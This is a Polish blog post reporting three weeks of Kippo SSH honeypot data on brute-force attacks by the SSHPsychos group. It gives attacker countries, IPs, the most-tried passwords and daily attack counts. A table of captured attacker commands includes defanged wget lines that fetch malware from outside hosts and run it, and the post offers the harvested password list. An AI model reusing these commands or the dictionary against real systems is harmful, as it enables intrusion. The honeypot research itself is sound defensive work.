21 dni z honeypotem Kippo i grupa SSHPsychos

Zainspirowany ideą taniego honeypota z posta Piotr Marczaka, znanego jako steppe, na Z3S.pl zaopatrzyłem się w najnowsze Raspberry Pi (wersja B2) i uruchomiłem na nim Kippo – bardzo dobrego honeypota SSH.

Udało mi się idealnie z nim wstrzelić w działania grupy nieformalnie znanej jako SSHPsychos. Poniżej przedstawiam co udało mi się zebrać w trakcie badania na temat ataków oraz wcześniej wymienionej grupy.

Informacje podstawowe

  • Dane były zbierane przez 21 dni (między 8 a 29 marca 2015 roku).
  • W weekendy zazwyczaj dopieszczałem konfigurację, aktualizowałem system – dlatego też są widoczne luki na wykresach w piątki, soboty lub niedziele.
  • Lącznie próbowano połączyć się z “malinką” 1023534 razy.
  • Najczęściej typowanym userem był root – 1023091 razy.
  • Do ataków wykorzystano 101241 haseł.
  • Po zalogowaniu wykonane zostały 52 polecenia.

Zacznijmy od początku… Czym jest honeypot?

Honeypot jest pułapką w którą mają złapać się napastnicy i śledzić ich działania w naszym systemie. Pozwala to na poznanie różnych metod ataku, zebranie linków do złośliwych plików oraz skryptów używanych do kompromitacji systemu. Nie da się ukryć, że lepszego narzędzia do dokładnego poznania metod napastników można ze świecą szukać 🙂

W sieci znajdziemy sporo projektów “garnków miodu”, do najpopularniejszych należą:

Dodatkowo polecam dedykowane dystrybucje GNU\Linux dla honeypotów

Jeżeli kogoś interesowałaby analiza funkcjonalności różnych rozwiązań to tutaj znajduje się bardzo obszerny raport CERT Polska na ten temat.

Grupa SSHPsychos

Pierwsze działania grupy zostały odnotowane w czerwcu 2014. Głównym obiektem zainteresowania są ataki brute force na protokół SSH. Do agresywnych ataków była wykorzystywana podsieć 103.41.124.0/23, lecz 30 marca, po blokadzie przez operatorów L3 została wyłączona. Oczywiście spotkało się to z reakcją napastników i została uruchomiona nowa sieć z której następują ataki o zakresie 43.255.190.0/23.

Brute force jest wspomagane słownikiem, z około 300,000 unikalnych haseł. Po udanym ataku, na hoście następuje login, z sieci firm hostingowych działających w Stanach Zjednoczonych, i pobranie pliku, który został zidentyfikowany jako rootkit. Następnie następuje instalacja złośnika i maszyna zaczyna pobierać pliki konfiguracyjne z serwerów C&C. Plik zawiera listę wykluczonych adresów IP oraz nazwy plików, które mają zostać wykasowane, celem maskowania rootkita.

Dane geograficzne

Zacznijmy od końca, czyli skąd następuje najwięcej ataków? Wzmożona działalność SSHPsychos powoduje, że 99% ataków odnotowanych przeze mnie następuje z Hong Kongu. Dlatego pominąłem podsieć używaną podczas ataków na wykresie.

Zaskoczeniem nie jest, że Chiny obejmują pierwsze miejsce z dużą przewagą. Natomiast kolejne miejsca są bardzo ciekawe, drugie miejsce ex aequo zajmują Francja i Brazylia (różnica tylko jednym atakiem), a trzecie Filipiny. Z “pewniaków” w zestawieniu brak tylko Rosji, która uplasowała się dopiero na dwunastym miejscu. Wykres został zestawiony z najczęściej atakujących 40 adresów IP.

honeypot_10countries

Kraj Ilość ataków % TOP10 krajów
Chiny 2000 62%
Brazylia 342 11%
Francja 341 11%
Filipiny 210 7%
Kazachstan 97 3%
Turcja 56 2%
Mołdawia 52 2%
Peru 47 1%
Korea Południowa 42 1%
Japonia 35 1%

Jeszcze ciekawsza niż ostatnie dwa miejsca podium jest ostatnia czwórka wykresu czyli Mołdawia, Peru, Korea Południowa i Japonia. Kraje te przegoniły Rosję (jak już wcześniej wspominałem, dwunaste miejsce) odpowiadając za około 5,4% ataków przeprowadzonych z 40. najczęściej atakujących IP.

Adresy IP

Tak jak na poprzednim wykresie, pierwsza trójka (w zasadzie to czwórka…) na podium to Chiny, Francja, Brazylia i Filipiny. Łącznie nastąpiło 3856 ataków z podsieci niezwiązanych z SSHPsychos. Sieci pochodzące z Chin (adresy IP zaczynające się od 60.*, 155.*, 183.*, 222.*) są regularnie używane do ataków na SSH. Ciekawy jest też przypadek hosta z Francji (109.7.69.130), który na dzień pisania posta (11 kwietnia 2015) zaprzestał swojej działalności.

honeypot_15ip

IP Ilość ataków % wszystkich ataków
222.186.57.122 476 12%
109.7.69.130 341 9%
177.23.179.101 264 7%
112.206.224.206 210 5%
222.186.58.177 112 3%
89.218.14.247 97 3%
60.173.8.73 96 2%
115.230.126.151 81 2%
200.192.243.14 78 2%
115.231.222.45 77 2%
115.231.218.131 76 2%
115.239.228.11 76 2%
183.136.216.3 73 2%
119.147.137.94 65 2%
183.136.216.6 65 2%

Listę wszystkich adresów IP z których nastąpiły ataki znajdziesz tutaj (CSV), a z kolei tutaj (CSV) znajdziesz listę bez podsieci SSHPsychos.

SSHPsychos – Adresy IP

Jako ciekawostkę dodaję wykres adresów IP najczęściej atakujących hostów z SSHPsychos. Bardzo dobrze widać skalę z jaką działają napastnicy, zwłaszcza jak porównamy ten wykres z poprzednim (różnica rzędu wielkości – pierwsza pozycja na wykresie: 9983 ataki vs 476 ataki).

honeypot_sshpsychos15ip

IP Ilość ataków % ataków SSHPsychos
103.41.124.152 9983 9%
103.41.124.59 9916 9%
103.41.125.59 9952 9%
103.41.124.165 8036 7%
103.41.124.158 7054 7%
103.41.124.35 7531 7%
103.41.124.65 7227 7%
103.41.124.33 6915 6%
103.41.124.102 6886 6%
103.41.124.93 6553 6%
103.41.124.150 6436 6%
103.41.124.103 5672 5%
103.41.124.136 5467 5%
103.41.124.133 5443 5%
103.41.124.41 5402 5%

Aby jeszcze lepiej zobrazować jaki ruch jest generowany przez SSHPsychos – suma wszystkich ataków przeprowadzonych z adresów IP pochodzących spoza podsieci 103.41.124.0/23 to jedynie 38,63% prób najbardziej aktywnego hosta z grupy (pierwsza pozycja na wykresie – adres: 103.41.124.152).

Najczęściej używane hasła

Przekrój haseł jest bardzo szeroki, łącznie próbowano dostać się do Kippo 101241 hasłami. Najpopularniejsze hasła, w całości, pokrywają się ze słownikiem SSHPsychos. Bardzo cieszy polski akcent – hasło ‘kwiatek‘ na szóstym miejscu 🙂

We wcześniej wspomnianym słowniku znajduje się dużo więcej haseł wywodzących się z polskiego, głównie są to imiona z różnymi kombinacjami cyfr na końcu.

honeypot_15passwords

W czołówce zaskoczeniem dla mnie, jest obecność hasła ‘Leopold’. Hasło ‘123456‘ od zawsze jest w czołówce najpopularniejszych haseł (domyślnie jest dodane w Kippo), ‘root‘ to hasło używane przez zapominalskich administratorów, a ‘trixbox‘ jest domyślnym hasłem dla centralek VoIP o takiej samej nazwie.

Hasło Ilość prób % najczęstszych haseł
123456 178 11%
Leopold 114 7%
root 113 7%
trixbox 112 7%
hitech 103 6%
kwiatek 102 6%
hemmelig 102 6%
frodo 101 6%
kids123 101 6%
gigi 98 6%
guessit 98 6%
guess 97 6%
immanuel 97 6%
getlost123 97 6%
harper 96 6%

Listę wszystkich zebranych przeze mnie haseł znajdziesz tutaj (CSV). Gotowy plik z formatem danych w/w haseł dla Kippo (/kippo/data/userdb.txt). Polecam go przyciąć do około 5-10k najpopularniejszych haseł.

Najczęściej używani użytkownicy

Nie ma tutaj czego komentować, nazwa użytkownika ‘root‘ zgarnęła całą pulę dla siebie (99,96%).

honeypot_usersListę wszystkich użytkowników znajdziesz tutaj (CSV).

Liczba ataków w poszczególnych dniach

Tak jak wspominałem na początku, w weekendy (piątki, soboty, niedziele) zajmowałem się różnymi pracami konserwacyjnymi, dlatego też widoczne są “wyrwy” w tych dniach na wykresie. Możemy zaobserwować dwie fale, pomiędzy którymi są około dwa tygodnie przerwy (11 i 27 marca). Również widać wyraźnie, że SSHPsychos preferują środek tygodnia, jako najlepszy czas na ataki 😉

honeypot_days

Dzień Ilość ataków % wszystkich ataków
08-03-15 43 0.00%
09-03-15 4 0.00%
10-03-15 68407 6.68%
11-03-15 135371 13.23%
12-03-15 50066 4.89%
13-03-15 211 0.02%
14-03-15 6 0.00%
15-03-15 61837 6.04%
16-03-15 50879 4.97%
17-03-15 75913 7.42%
18-03-15 45469 4.44%
19-03-15 15339 1.50%
20-03-15 5 0.00%
21-03-15 6 0.00%
22-03-15 35236 3.44%
23-03-15 46546 4.55%
24-03-15 56119 5.48%
25-03-15 54663 5.34%
26-03-15 89266 8.72%
27-03-15 130432 12.74%
28-03-15 73740 7.20%
29-03-15 33976 3.32%

Polecenia wykonywane wewnątrz Kippo

Akurat w tej kwestii pozwolę sobię odpuścić wykres i przedstawić tylko tabelę. Łączna liczba wykonanych poleceń, tak jak wcześniej wspominałem, wyniosła 52 (12 unikalnych).

Niewielka liczba przechwyconych poleceń wynika z działania przez dłuższy czas na domyślnej konfiguracji haseł pozwalających uzyskać dostęp do hosta (dla przypomnienia, jedno hasło – ‘123456’). Było to działanie zamierzone – chciałem zobaczyć ilu napastników uda mi się złapać, nie poświęcając konfiguracji zbyt wiele czasu.

Polecenie Częstość % poleceń
ls -la /var/run/sftp.pid 17 33%
#!/bin/sh 13 25%
/root/disk 4 8%
(cd /tmp 4 8%
cat /proc/version 4 8%
wget -P/root/ hxxp://107.150.63.178:88/disk 2 4%
chmod 777 /root/disk 2 4%
wget hxxp://www.baoshijz.com/en/upload/f36d-db06cccf-96965e6d-8d3df1f8-e44a.jpg 2 4%
/bin/bash 1 2%
logout 1 2%
wget hxxp://notest.3vcn.net/d32_64.txt 1 2%
wget hxxp://www.shartex.net/uploads/2015032504174839405.jpg 1 2%

Niestety nie miałem czasu na analizę złośliwych plików, które zostały pobrane przez napastników. Zadanie to zostawiam dla dociekliwych czytelników 😉

Jak się bronić przed atakami tego typu?

Metod obrony jest kilka, jeżeli jeszcze ich nie wdrożyłeś to zrób to najszybciej jak to możliwe – w znacznym stopniu ograniczysz takie ataki w przyszłości:

Szybkie podsumowanie + ogólne spostrzeżenia

  • Sprzętowy honeypot na SoC takim jak np. Raspberry Pi lub inne jest bardzo fajnym i tanim sposobem na zabawę z honeypotami. Całkowity koszt jaki poniosłem to ~205 PLN (Raspberry Pi + obudowa + koszty wysyłki).
  • Wdrożenie honeypota nie jest czasochłonnym zajęciem – są gotowe dystrybucje i masa tutoriali w sieci – Kippo, Dionaea.
  • Kippo – jeżeli chcesz mieć “ładne” statystyki i używać Kippo Graph, loguj od początku do bazy danych. Migracja z plików tekstowych jest dosyć kłopotliwa i na chwilę obecną nie migruje informacji o ilości udanych ataków (skrypt się wysypuje).

Jeżeli masz jeszcze jakieś pomysły na wykorzystanie honeypotów w róznych scenariuszach lub Raspberry Pi jako podstawę sprzętową do konkretnych rozwiązań to komentarze są do Twojej dyspozycji. Wszelkie uwagi na temat konfiguracji honeypota, sposobu badania, itp. są również mile widziane.

2 thoughts on “21 dni z honeypotem Kippo i grupa SSHPsychos

Comments are closed.